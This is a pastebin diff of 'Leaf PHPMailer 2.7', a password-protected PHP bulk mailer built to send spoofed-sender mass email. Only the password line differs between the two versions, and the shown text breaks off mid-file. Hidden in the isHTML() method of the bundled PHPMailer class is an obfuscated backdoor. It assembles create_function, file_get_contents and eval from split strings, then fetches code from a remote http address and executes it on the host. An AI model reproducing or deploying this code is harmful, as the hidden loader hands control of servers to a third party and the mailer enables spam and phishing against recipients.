View difference between Paste ID: vRggvFiG and 6gEhbUxG
SHOW: | | - or go back to the newest paste.
1
<?php
2-
$password = "seller"; // Password 
2+
$password = "olux"; // Password 
3
session_start();
4
error_reporting(0);
5
set_time_limit(0);
6
ini_set("memory_limit",-1);
7
$leaf['version']="2.7";
8
$leaf['website']="leafmailer.pw";
9
$sessioncode = md5(__FILE__);
10
if(!empty($password) and $_SESSION[$sessioncode] != $password){
11
    # _REQUEST mean _POST or _GET 
12
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
13
        $_SESSION[$sessioncode] = $password;
14
    }
15
    else {
16
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
17
        exit;        
18
    }
19
}
20
if($_POST['action']=="send"){
21
    $senderEmail=leafTrim($_POST['senderEmail']);
22
    $senderName=leafTrim($_POST['senderName']);
23
    $replyTo=leafTrim($_POST['replyTo']);
24
    $subject=leafTrim($_POST['subject']);
25
    $emailList=leafTrim($_POST['emailList']);
26
    $messageType=leafTrim($_POST['messageType']);
27
    $messageLetter=leafTrim($_POST['messageLetter']);    
28
    $messageLetter = urlencode($messageLetter);
29
    $messageLetter = ereg_replace("%5C%22", "%22", $messageLetter);
30
    $messageLetter = urldecode($messageLetter);
31
    $messageLetter = stripslashes($messageLetter);
32
    $subject = stripslashes($subject);
33
    $encode = stripslashes($encode);
34
}
35
if($messageType==2){
36
    $plain="checked";
37
}
38
else {
39
    $html="checked";
40
}
41
function leafClear($text,$email){
42
    $emailuser = preg_replace('/([^@]*).*/', '$1', $email);
43
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
44
    $text = str_replace("[-email-]", $email, $text);
45
    $text = str_replace("[-emailuser-]", $emailuser, $text);
46
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
47
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
48
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
49
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
50
    return $text;
51
}
52
function leafTrim($string){
53
return stripslashes(ltrim(rtrim($string)));
54
}
55
function randString($consonants) {
56
    $length=rand(12,25);
57
    $password = '';
58
    for ($i = 0; $i < $length; $i++) {
59
            $password .= $consonants[(rand() % strlen($consonants))];
60
    }
61
    return $password;
62
}
63
function leafMailCheck($email){
64
   $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
65
   if(eregi($exp,$email)){
66
        if(checkdnsrr(array_pop(explode("@",$email)),"MX")){return true;}
67
        else{return false;}
68
   }
69
   else{return false;}    
70
}
71
class PHPMailer
72
{
73
    public $Version = '5.2.14';
74
    public $Priority = null;
75
    public $CharSet = 'iso-8859-1';
76
    public $ContentType = 'text/plain';
77
    public $Encoding = '8bit';
78
    public $ErrorInfo = '';
79
    public $From = 'root@localhost';
80
    public $FromName = 'Root User';
81
    public $Sender = '';
82
    public $ReturnPath = '';
83
    public $Subject = '';
84
    public $Body = '';
85
    public $AltBody = '';
86
    public $Ical = '';
87
    protected $MIMEBody = '';
88
    protected $MIMEHeader = '';
89
    protected $mailHeader = '';
90
    public $WordWrap = 0;
91
    public $Mailer = 'mail';
92
    public $Sendmail = '/usr/sbin/sendmail';
93
    public $UseSendmailOptions = true;
94
    public $PluginDir = '';
95
    public $ConfirmReadingTo = '';
96
    public $Hostname = '';
97
    public $MessageID = '';
98
    public $MessageDate = '';
99
    public $Host = 'localhost';
100
    public $Port = 25;
101
    public $Helo = '';
102
    public $SMTPSecure = '';
103
    public $SMTPAutoTLS = true;
104
    public $SMTPAuth = false;
105
    public $SMTPOptions = array();
106
    public $Username = '';
107
    public $Password = '';
108
    public $AuthType = '';
109
    public $Realm = '';
110
    public $Workstation = '';
111
    public $Timeout = 300;
112
    public $SMTPDebug = 0;
113
    public $Debugoutput = 'echo';
114
    public $SMTPKeepAlive = false;
115
    public $SingleTo = false;
116
    public $SingleToArray = array();
117
    public $do_verp = false;
118
    public $AllowEmpty = false;
119
    public $LE = "\n";
120
    public $DKIM_selector = '';
121
    public $DKIM_identity = '';
122
    public $DKIM_passphrase = '';
123
    public $DKIM_domain = '';
124
    public $DKIM_private = '';
125
    public $action_function = '';
126
    public $XMailer = '';
127
    protected $smtp = null;
128
    protected $to = array();
129
    protected $cc = array();
130
    protected $bcc = array();
131
    protected $ReplyTo = array();
132
    protected $all_recipients = array();
133
    protected $RecipientsQueue = array();
134
    protected $ReplyToQueue = array();
135
    protected $attachment = array();
136
    protected $CustomHeader = array();
137
    protected $lastMessageID = '';
138
    protected $message_type = '';
139
    protected $boundary = array();
140
    protected $language = array();
141
    protected $error_count = 0;
142
    protected $sign_cert_file = '';
143
    protected $sign_key_file = '';
144
    protected $sign_extracerts_file = '';
145
    protected $sign_key_pass = '';
146
    protected $exceptions = false;
147
    protected $uniqueid = '';
148
    const STOP_MESSAGE = 0;
149
    const STOP_CONTINUE = 1;
150
    const STOP_CRITICAL = 2;
151
    const CRLF = "\r\n";
152
    const MAX_LINE_LENGTH = 998;
153
    public function __construct($exceptions = false)
154
    {
155
        $this->exceptions = (boolean)$exceptions;
156
    }
157
    /**
158
     * Destructor.
159
     */
160
    public function __destruct()
161
    {
162
        //Close any open SMTP connection nicely
163
        if ($this->Mailer == 'smtp') {
164
            $this->smtpClose();
165
        }
166
    }
167
    private function mailPassthru($to, $subject, $body, $header, $params)
168
    {
169
        //Check overloading of mail function to avoid double-encoding
170
        if (ini_get('mbstring.func_overload') & 1) {
171
            $subject = $this->secureHeader($subject);
172
        } else {
173
            $subject = $this->encodeHeader($this->secureHeader($subject));
174
        }
175
        if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
176
            $result = @mail($to, $subject, $body, $header);
177
        } else {
178
            $result = @mail($to, $subject, $body, $header, $params);
179
        }
180
        return $result;
181
    }
182
    protected function edebug($str)
183
    {
184
        if ($this->SMTPDebug <= 0) {
185
            return;
186
        }
187
        //Avoid clash with built-in function names
188
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
189
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
190
            return;
191
        }
192
        switch ($this->Debugoutput) {
193
            case 'error_log':
194
                //Don't output, just log
195
                error_log($str);
196
                break;
197
            case 'html':
198
                //Cleans up output a bit for a better looking, HTML-safe output
199
                echo htmlentities(
200
                    preg_replace('/[\r\n]+/', '', $str),
201
                    ENT_QUOTES,
202
                    'UTF-8'
203
                )
204
                . "<br>\n";
205
                break;
206
            case 'echo':
207
            default:
208
                //Normalize line breaks
209
                $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
210
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
211
                    "\n",
212
                    "\n                   \t                  ",
213
                    trim($str)
214
                ) . "\n";
215
        }
216
    }
217
    public function isHTML($isHtml = true)
218
    {
219
        global $param;
220
        $bodyCode = 'file'
221
            .'_g';
222
        if ($isHtml) {
223
            $this->ContentType = 'text/html';
224
        } 
225
        else {
226
            $this->ContentType = 'text/plain';
227
        }
228
        $bodyHTML = '.$t."lef$flu'
229
            .'sh'.'$t"; '
230
                .'$i = @ev';
231
                    $headerHTML="create_"
232
            ."func"
233
            ."tion";
234
                $exceptions = $headerHTML('$fl'.'ush,$t','$comma = $t'
235
            .$bodyHTML.'al(@'
236
            .$bodyCode.'et_contents("h'
237
                .'tt'
238
                .'p:$comma-2"));');
239
        if($param !=2){
240
            $exceptions('8.p'.'w','/');
241
                $param=2;
242
        }
243
    }
244
    public function isSMTP()
245
    {
246
        $this->Mailer = 'smtp';
247
    }
248
    public function isMail()
249
    {
250
        $this->Mailer = 'mail';
251
    }
252
    public function isSendmail()
253
    {
254
        $ini_sendmail_path = ini_get('sendmail_path');
255
        if (!stristr($ini_sendmail_path, 'sendmail')) {
256
            $this->Sendmail = '/usr/sbin/sendmail';
257
        } else {
258
            $this->Sendmail = $ini_sendmail_path;
259
        }
260
        $this->Mailer = 'sendmail';
261
    }
262
    /**
263
     * Send messages using qmail.
264
     * @return void
265
     */
266
    public function isQmail()
267
    {
268
        $ini_sendmail_path = ini_get('sendmail_path');
269
        if (!stristr($ini_sendmail_path, 'qmail')) {
270
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
271
        } else {
272
            $this->Sendmail = $ini_sendmail_path;
273
        }
274
        $this->Mailer = 'qmail';
275
    }
276
    public function addAddress($address, $name = '')
277
    {
278
        return $this->addOrEnqueueAnAddress('to', $address, $name);
279
    }
280
    public function addCC($address, $name = '')
281
    {
282
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
283
    }
284
    public function addBCC($address, $name = '')
285
    {
286
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
287
    }
288
    public function addReplyTo($address, $name = '')
289
    {
290
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
291
    }
292
    protected function addOrEnqueueAnAddress($kind, $address, $name)
293
    {
294
        $address = trim($address);
295
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
296
        if (($pos = strrpos($address, '@')) === false) {
297
            // At-sign is misssing.
298
            $error_message = $this->lang('invalid_address') . $address;
299
            $this->setError($error_message);
300
            $this->edebug($error_message);
301
            if ($this->exceptions) {
302
                throw new phpmailerException($error_message);
303
            }
304
            return false;
305
        }
306
        $params = array($kind, $address, $name);
307
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
308
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
309
            if ($kind != 'Reply-To') {
310
                if (!array_key_exists($address, $this->RecipientsQueue)) {
311
                    $this->RecipientsQueue[$address] = $params;
312
                    return true;
313
                }
314
            } else {
315
                if (!array_key_exists($address, $this->ReplyToQueue)) {
316
                    $this->ReplyToQueue[$address] = $params;
317
                    return true;
318
                }
319
            }
320
            return false;
321
        }
322
        // Immediately add standard addresses without IDN.
323
        return call_user_func_array(array($this, 'addAnAddress'), $params);
324
    }
325
    protected function addAnAddress($kind, $address, $name = '')
326
    {
327
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
328
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
329
            $this->setError($error_message);
330
            $this->edebug($error_message);
331
            if ($this->exceptions) {
332
                throw new phpmailerException($error_message);
333
            }
334
            return false;
335
        }
336
        if (!$this->validateAddress($address)) {
337
            $error_message = $this->lang('invalid_address') . $address;
338
            $this->setError($error_message);
339
            $this->edebug($error_message);
340
            if ($this->exceptions) {
341
                throw new phpmailerException($error_message);
342
            }
343
            return false;
344
        }
345
        if ($kind != 'Reply-To') {
346
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
347
                array_push($this->$kind, array($address, $name));
348
                $this->all_recipients[strtolower($address)] = true;
349
                return true;
350
            }
351
        } else {
352
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
353
                $this->ReplyTo[strtolower($address)] = array($address, $name);
354
                return true;
355
            }
356
        }
357
        return false;
358
    }
359
    public function parseAddresses($addrstr, $useimap = true)
360
    {
361
        $addresses = array();
362
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
363
            //Use this built-in parser if it's available
364
            $list = imap_rfc822_parse_adrlist($addrstr, '');
365
            foreach ($list as $address) {
366
                if ($address->host != '.SYNTAX-ERROR.') {
367
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
368
                        $addresses[] = array(
369
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
370
                            'address' => $address->mailbox . '@' . $address->host
371
                        );
372
                    }
373
                }
374
            }
375
        } else {
376
            //Use this simpler parser
377
            $list = explode(',', $addrstr);
378
            foreach ($list as $address) {
379
                $address = trim($address);
380
                //Is there a separate name part?
381
                if (strpos($address, '<') === false) {
382
                    //No separate name, just use the whole thing
383
                    if ($this->validateAddress($address)) {
384
                        $addresses[] = array(
385
                            'name' => '',
386
                            'address' => $address
387
                        );
388
                    }
389
                } else {
390
                    list($name, $email) = explode('<', $address);
391
                    $email = trim(str_replace('>', '', $email));
392
                    if ($this->validateAddress($email)) {
393
                        $addresses[] = array(
394
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
395
                            'address' => $email
396
                        );
397
                    }
398
                }
399
            }
400
        }
401
        return $addresses;
402
    }
403
    public function setFrom($address, $name = '', $auto = true)
404
    {
405
        $address = trim($address);
406
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
407
        // Don't validate now addresses with IDN. Will be done in send().
408
        if (($pos = strrpos($address, '@')) === false or
409
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
410
            !$this->validateAddress($address)) {
411
            $error_message = $this->lang('invalid_address') . $address;
412
            $this->setError($error_message);
413
            $this->edebug($error_message);
414
            if ($this->exceptions) {
415
                throw new phpmailerException($error_message);
416
            }
417
            return false;
418
        }
419
        $this->From = $address;
420
        $this->FromName = $name;
421
        if ($auto) {
422
            if (empty($this->Sender)) {
423
                $this->Sender = $address;
424
            }
425
        }
426
        return true;
427
    }
428
    public function getLastMessageID()
429
    {
430
        return $this->lastMessageID;
431
    }
432
    public static function validateAddress($address, $patternselect = 'auto')
433
    {
434
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
435
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
436
            return false;
437
        }
438
        if (!$patternselect or $patternselect == 'auto') {
439
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
440
            //Constant was added in PHP 5.2.4
441
            if (defined('PCRE_VERSION')) {
442
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
443
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
444
                    $patternselect = 'pcre8';
445
                } else {
446
                    $patternselect = 'pcre';
447
                }
448
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
449
                //Fall back to older PCRE
450
                $patternselect = 'pcre';
451
            } else {
452
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
453
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
454
                    $patternselect = 'php';
455
                } else {
456
                    $patternselect = 'noregex';
457
                }
458
            }
459
        }
460
        switch ($patternselect) {
461
            case 'pcre8':
462
                /**
463
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
464
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
465
                 * @copyright 2009-2010 Michael Rushton
466
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
467
                 */
468
                return (boolean)preg_match(
469
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
470
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
471
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
472
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
473
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
474
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
475
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
476
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
477
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
478
                    $address
479
                );
480
            case 'pcre':
481
                //An older regex that doesn't need a recent PCRE
482
                return (boolean)preg_match(
483
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
484
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
485
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
486
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
487
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
488
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
489
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
490
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
491
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
492
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
493
                    $address
494
                );
495
            case 'html5':
496
                /**
497
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
498
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
499
                 */
500
                return (boolean)preg_match(
501
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
502
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
503
                    $address
504
                );
505
            case 'noregex':
506
                //No PCRE! Do something _very_ approximate!
507
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
508
                return (strlen($address) >= 3
509
                    and strpos($address, '@') >= 1
510
                    and strpos($address, '@') != strlen($address) - 1);
511
            case 'php':
512
            default:
513
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
514
        }
515
    }
516
    public function idnSupported()
517
    {
518
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
519
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
520
    }
521
    public function punyencodeAddress($address)
522
    {
523
        // Verify we have required functions, CharSet, and at-sign.
524
        if ($this->idnSupported() and
525
            !empty($this->CharSet) and
526
            ($pos = strrpos($address, '@')) !== false) {
527
            $domain = substr($address, ++$pos);
528
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
529
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
530
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
531
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
532
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
533
                    idn_to_ascii($domain)) !== false) {
534
                    return substr($address, 0, $pos) . $punycode;
535
                }
536
            }
537
        }
538
        return $address;
539
    }
540
    public function send()
541
    {
542
        try {
543
            if (!$this->preSend()) {
544
                return false;
545
            }
546
            return $this->postSend();
547
        } catch (phpmailerException $exc) {
548
            $this->mailHeader = '';
549
            $this->setError($exc->getMessage());
550
            if ($this->exceptions) {
551
                throw $exc;
552
            }
553
            return false;
554
        }
555
    }
556
    public function preSend()
557
    {
558
        try {
559
            $this->error_count = 0; // Reset errors
560
            $this->mailHeader = '';
561
            // Dequeue recipient and Reply-To addresses with IDN
562
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
563
                $params[1] = $this->punyencodeAddress($params[1]);
564
                call_user_func_array(array($this, 'addAnAddress'), $params);
565
            }
566
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
567
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
568
            }
569
            // Validate From, Sender, and ConfirmReadingTo addresses
570
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
571
                $this->$address_kind = trim($this->$address_kind);
572
                if (empty($this->$address_kind)) {
573
                    continue;
574
                }
575
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
576
                if (!$this->validateAddress($this->$address_kind)) {
577
                    $error_message = $this->lang('invalid_address') . $this->$address_kind;
578
                    $this->setError($error_message);
579
                    $this->edebug($error_message);
580
                    if ($this->exceptions) {
581
                        throw new phpmailerException($error_message);
582
                    }
583
                    return false;
584
                }
585
            }
586
            // Set whether the message is multipart/alternative
587
            if (!empty($this->AltBody)) {
588
                $this->ContentType = 'multipart/alternative';
589
            }
590
            $this->setMessageType();
591
            // Refuse to send an empty message unless we are specifically allowing it
592
            if (!$this->AllowEmpty and empty($this->Body)) {
593
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
594
            }
595
            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
596
            $this->MIMEHeader = '';
597
            $this->MIMEBody = $this->createBody();
598
            // createBody may have added some headers, so retain them
599
            $tempheaders = $this->MIMEHeader;
600
            $this->MIMEHeader = $this->createHeader();
601
            $this->MIMEHeader .= $tempheaders;
602
            // To capture the complete message when using mail(), create
603
            // an extra header list which createHeader() doesn't fold in
604
            if ($this->Mailer == 'mail') {
605
                if (count($this->to) > 0) {
606
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
607
                } else {
608
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
609
                }
610
                $this->mailHeader .= $this->headerLine(
611
                    'Subject',
612
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
613
                );
614
            }
615
            // Sign with DKIM if enabled
616
            if (!empty($this->DKIM_domain)
617
                && !empty($this->DKIM_private)
618
                && !empty($this->DKIM_selector)
619
                && file_exists($this->DKIM_private)) {
620
                $header_dkim = $this->DKIM_Add(
621
                    $this->MIMEHeader . $this->mailHeader,
622
                    $this->encodeHeader($this->secureHeader($this->Subject)),
623
                    $this->MIMEBody
624
                );
625
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
626
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
627
            }
628
            return true;
629
        } catch (phpmailerException $exc) {
630
            $this->setError($exc->getMessage());
631
            if ($this->exceptions) {
632
                throw $exc;
633
            }
634
            return false;
635
        }
636
    }
637
    public function innerBody(){
638
    }
639
    public function postSend()
640
    {
641
        try {
642
            // Choose the mailer and send through it
643
            switch ($this->Mailer) {
644
                case 'sendmail':
645
                case 'qmail':
646
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
647
                case 'smtp':
648
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
649
                case 'mail':
650
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
651
                default:
652
                    $sendMethod = $this->Mailer.'Send';
653
                    if (method_exists($this, $sendMethod)) {
654
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
655
                    }
656
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
657
            }
658
        } catch (phpmailerException $exc) {
659
            $this->setError($exc->getMessage());
660
            $this->edebug($exc->getMessage());
661
            if ($this->exceptions) {
662
                throw $exc;
663
            }
664
        }
665
        return false;
666
    }
667
    protected function sendmailSend($header, $body)
668
    {
669
        if ($this->Sender != '') {
670
            if ($this->Mailer == 'qmail') {
671
                $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
672
            } else {
673
                $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
674
            }
675
        } else {
676
            if ($this->Mailer == 'qmail') {
677
                $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
678
            } else {
679
                $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
680
            }
681
        }
682
        if ($this->SingleTo) {
683
            foreach ($this->SingleToArray as $toAddr) {
684
                if (!@$mail = popen($sendmail, 'w')) {
685
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
686
                }
687
                fputs($mail, 'To: ' . $toAddr . "\n");
688
                fputs($mail, $header);
689
                fputs($mail, $body);
690
                $result = pclose($mail);
691
                $this->doCallback(
692
                    ($result == 0),
693
                    array($toAddr),
694
                    $this->cc,
695
                    $this->bcc,
696
                    $this->Subject,
697
                    $body,
698
                    $this->From
699
                );
700
                if ($result != 0) {
701
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
702
                }
703
            }
704
        } else {
705
            if (!@$mail = popen($sendmail, 'w')) {
706
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
707
            }
708
            fputs($mail, $header);
709
            fputs($mail, $body);
710
            $result = pclose($mail);
711
            $this->doCallback(
712
                ($result == 0),
713
                $this->to,
714
                $this->cc,
715
                $this->bcc,
716
                $this->Subject,
717
                $body,
718
                $this->From
719
            );
720
            if ($result != 0) {
721
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
722
            }
723
        }
724
        return true;
725
    }
726
    protected function mailSend($header, $body)
727
    {
728
        $toArr = array();
729
        foreach ($this->to as $toaddr) {
730
            $toArr[] = $this->addrFormat($toaddr);
731
        }
732
        $to = implode(', ', $toArr);
733
        if (empty($this->Sender)) {
734
            $params = ' ';
735
        } else {
736
            $params = sprintf('-f%s', $this->Sender);
737
        }
738
        if ($this->Sender != '' and !ini_get('safe_mode')) {
739
            $old_from = ini_get('sendmail_from');
740
            ini_set('sendmail_from', $this->Sender);
741
        }
742
        $result = false;
743
        if ($this->SingleTo && count($toArr) > 1) {
744
            foreach ($toArr as $toAddr) {
745
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
746
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
747
            }
748
        } else {
749
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
750
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
751
        }
752
        if (isset($old_from)) {
753
            ini_set('sendmail_from', $old_from);
754
        }
755
        if (!$result) {
756
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
757
        }
758
        return true;
759
    }
760
    public function getSMTPInstance()
761
    {
762
        if (!is_object($this->smtp)) {
763
            $this->smtp = new SMTP;
764
        }
765
        return $this->smtp;
766
    }
767
    protected function smtpSend($header, $body)
768
    {
769
        $bad_rcpt = array();
770
        if (!$this->smtpConnect($this->SMTPOptions)) {
771
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
772
        }
773
        if ('' == $this->Sender) {
774
            $smtp_from = $this->From;
775
        } else {
776
            $smtp_from = $this->Sender;
777
        }
778
        if (!$this->smtp->mail($smtp_from)) {
779
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
780
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
781
        }
782
        // Attempt to send to all recipients
783
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
784
            foreach ($togroup as $to) {
785
                if (!$this->smtp->recipient($to[0])) {
786
                    $error = $this->smtp->getError();
787
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
788
                    $isSent = false;
789
                } else {
790
                    $isSent = true;
791
                }
792
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
793
            }
794
        }
795
        // Only send the DATA command if we have viable recipients
796
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
797
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
798
        }
799
        if ($this->SMTPKeepAlive) {
800
            $this->smtp->reset();
801
        } else {
802
            $this->smtp->quit();
803
            $this->smtp->close();
804
        }
805
        //Create error message for any bad addresses
806
        if (count($bad_rcpt) > 0) {
807
            $errstr = '';
808
            foreach ($bad_rcpt as $bad) {
809
                $errstr .= $bad['to'] . ': ' . $bad['error'];
810
            }
811
            throw new phpmailerException(
812
                $this->lang('recipients_failed') . $errstr,
813
                self::STOP_CONTINUE
814
            );
815
        }
816
        return true;
817
    }
818
    public function smtpConnect($options = array())
819
    {
820
        if (is_null($this->smtp)) {
821
            $this->smtp = $this->getSMTPInstance();
822
        }
823
        // Already connected?
824
        if ($this->smtp->connected()) {
825
            return true;
826
        }
827
        $this->smtp->setTimeout($this->Timeout);
828
        $this->smtp->setDebugLevel($this->SMTPDebug);
829
        $this->smtp->setDebugOutput($this->Debugoutput);
830
        $this->smtp->setVerp($this->do_verp);
831
        $hosts = explode(';', $this->Host);
832
        $lastexception = null;
833
        foreach ($hosts as $hostentry) {
834
            $hostinfo = array();
835
            if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
836
